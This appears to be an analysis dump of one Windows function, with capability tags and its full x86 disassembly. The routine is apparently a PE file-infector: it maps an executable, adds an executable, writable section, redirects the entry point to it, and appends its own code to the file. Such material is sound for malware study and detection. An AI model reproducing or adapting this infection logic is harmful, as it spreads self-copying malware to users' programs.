Function at 0x40836e
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d068
push 0x40b850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x70
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x58], 0
and dword [ebp - 0x5c], 0
and dword [ebp - 0x80], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x7c], 0
and dword [ebp - 0x28], 0
or dword [ebp - 0x60], 0xffffffff
and dword [ebp - 0x24], 0
and dword [ebp - 0x84], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x2c], 0
cmp dword [0x4118c0], 0
jne 0x4083dd
call fcn.004082c1
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4118c4], eax
and dword [ebp - 4], 0
push dword [ebp + 8]
call fcn.00407fe3
cmp eax, 1
jne 0x4083f3
jmp 0x40884b
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffff
jne 0x40842a
jmp 0x40884b
push 0
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x60]
call fcn.00402d5a
push 2
push 0
push 0
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x24], eax
push 0x400
push 0
push 0
push 0xf001f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40848d
mov eax, dword [ebp - 0x58]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x408492
jmp 0x40884b
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x84], ecx
mov eax, dword [ebp - 0x84]
add eax, 0xf8
mov ecx, dword [ebp - 0x58]
add ecx, 0x400
cmp eax, ecx
ja 0x4084c9
mov eax, dword [ebp - 0x84]
movzx eax, word [eax]
cmp eax, 0x4550
je 0x4084ce
jmp 0x40884b
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x84]
call fcn.00408096
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x28
mov ecx, dword [ebp - 0x58]
add ecx, 0x400
cmp eax, ecx
jbe 0x4084f9
jmp 0x40884b
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
mov ecx, dword [0x410cfc]
movzx ecx, word [ecx]
cmp eax, ecx
jl 0x408512
jmp 0x40884b
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
test eax, eax
je 0x408595
mov dword [ebp - 0x80], 1
mov eax, dword [ebp - 0x84]
mov ax, word [eax + 6]
sub ax, 1
mov ecx, dword [ebp - 0x84]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0x84]
cmp dword [eax + 0x1c], 0
je 0x408560
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x1c]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x50]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 0x50], eax
push 0x400
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x84]
movzx eax, word [eax + 6]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x84]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, 0x28
mov ecx, dword [ebp - 0x58]
add ecx, 0x400
cmp eax, ecx
jbe 0x4085d6
jmp 0x40884b
cmp dword [ebp - 0x80], 0
jne 0x408619
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x5c], eax
and dword [ebp - 0x88], 0
jmp 0x4085f8
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xa
jae 0x408619
mov eax, dword [ebp - 0x5c]
cmp dword [eax], 0
je 0x40860e
jmp 0x40884b
mov eax, dword [ebp - 0x5c]
add eax, 4
mov dword [ebp - 0x5c], eax
jmp 0x4085eb
call fcn.004023c0
and eax, 0xffffff
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x7c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x84]
push dword [eax + 0x38]
mov eax, dword [0x40ea68]
add eax, dword [0x4118b8]
push eax
call fcn.00407e66
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x84]
push dword [eax + 0x3c]
mov eax, dword [0x40ea68]
add eax, dword [0x4118b8]
push eax
call fcn.00407e66
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x24], 0xe0000020
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x410cfc]
mov cx, word [ecx]
mov word [eax + 0x22], cx
push 1
push dword [ebp - 0x20]
push dword [ebp - 0x84]
call fcn.00408096
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x84]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x1c]
push dword [eax + 8]
call fcn.00407e66
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0xc], eax
push 2
push dword [ebp - 0x20]
push dword [ebp - 0x84]
call fcn.00408096
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x84]
push dword [eax + 0x3c]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x10]
call fcn.00407e66
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
cmp eax, dword [ebp - 0x20]
jae 0x408713
mov eax, dword [ebp - 0x84]
push dword [eax + 0x3c]
push dword [ebp - 0x20]
call fcn.00407e66
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x84]
and dword [eax + 0x58], 0
mov eax, dword [ebp - 0x84]
mov ax, word [eax + 6]
add ax, 1
mov ecx, dword [ebp - 0x84]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0x84]
cmp dword [eax + 0x1c], 0
je 0x408780
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 0x1c], eax
push 0x28
push dword [ebp - 0x2c]
lea eax, [ebp - 0x54]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [ebp - 0x58], 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x24], 0
mov eax, dword [0x4118c0]
sub eax, 0x40e7c8
mov ecx, dword [ebp - 0x48]
lea eax, [ecx + eax + 4]
mov ecx, dword [ebp - 0x7c]
sub ecx, eax
mov eax, dword [0x4118c0]
mov dword [eax], ecx
push 2
push 0
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x44]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x44]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x40ea68]
push 0x40e7c8
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x4118b8]
push dword [0x4118b4]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x60]
call fcn.00402d5a
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x60], 0xffffffff
cmp dword [ebp - 0x58], 0
je 0x40885a
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x24], 0
je 0x408869
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x60], 0xffffffff
je 0x408878
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x4088b6
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4